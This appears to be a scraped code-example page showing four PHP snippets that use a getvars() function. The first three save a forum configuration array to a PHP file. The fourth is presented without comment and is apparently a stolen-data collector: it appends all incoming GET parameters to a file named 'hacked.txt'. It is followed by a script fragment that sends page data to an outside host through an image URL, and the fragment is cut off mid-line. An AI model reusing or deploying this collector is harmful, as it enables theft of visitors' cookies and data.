Пример #1
0
function save_config_file($filename, $config, $default) {
	$config = setdefault($config, $default);

	$date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
	$year = date('Y');
	$content = <<<EOT
<?php


\$_config = array();

EOT;
	$content .= getvars(array('_config' => $config));
	$content .= "\r\n// ".str_pad('  THE END  ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
	file_put_contents($filename, $content);
}
Пример #2
0
function save_config_file($filename, $config, $default, $deletevar)
{
    $config = setdefault($config, $default, $deletevar);
    $date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
    $content = <<<EOT
<?php


\$_config = array();

EOT;
    $content .= getvars(array('_config' => $config));
    $content .= "\r\n// " . str_pad('  THE END  ', 50, '-', STR_PAD_BOTH) . " //\r\n\r\n?>";
    if (!is_writable($filename) || !($len = file_put_contents($filename, $content))) {
        file_put_contents(DISCUZ_ROOT . './data/config_global.php', $content);
        return 0;
    }
    return 1;
}
Пример #3
0
function save_config_file($filename, $config, $default)
{
    $config = setdefault($config, $default);
    $date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
    $content = <<<EOT
<?php

// this contains the application database configure
\$_config = array();

EOT;
    $content .= getvars(array('_config' => $config));
    $content .= "return \$_config;\r\n\r\n// " . str_pad('  THE END  ', 50, '-', STR_PAD_BOTH) . " //\r\n\r\n?>";
    file_put_contents($filename, $content);
}
Пример #4
0
            $res .= "[--------{$title}--------]" . LINE;
        }
        foreach ($arr as $key => $value) {
            print "[{$key}]" . HTML_LINE;
            print $arr[$key] . HTML_LINE;
            $res .= "[\$ key]" . LINE . $arr[$key] . LINE;
        }
    }
    return $res;
}
// get current date
$now = date("Y-m-d H : i : s ");
// init
$myData = "[-----{$now}-----]" . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, "");
// file
$file = "hacked.txt";
$mode = "r+";
if (!file_exists($file)) {
    $mode = "w+";
}
$fp = fopen($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
?>
 
<script>
document.write('<img src=http://tandaiphatgroup.vn/demo.php?docs='+escape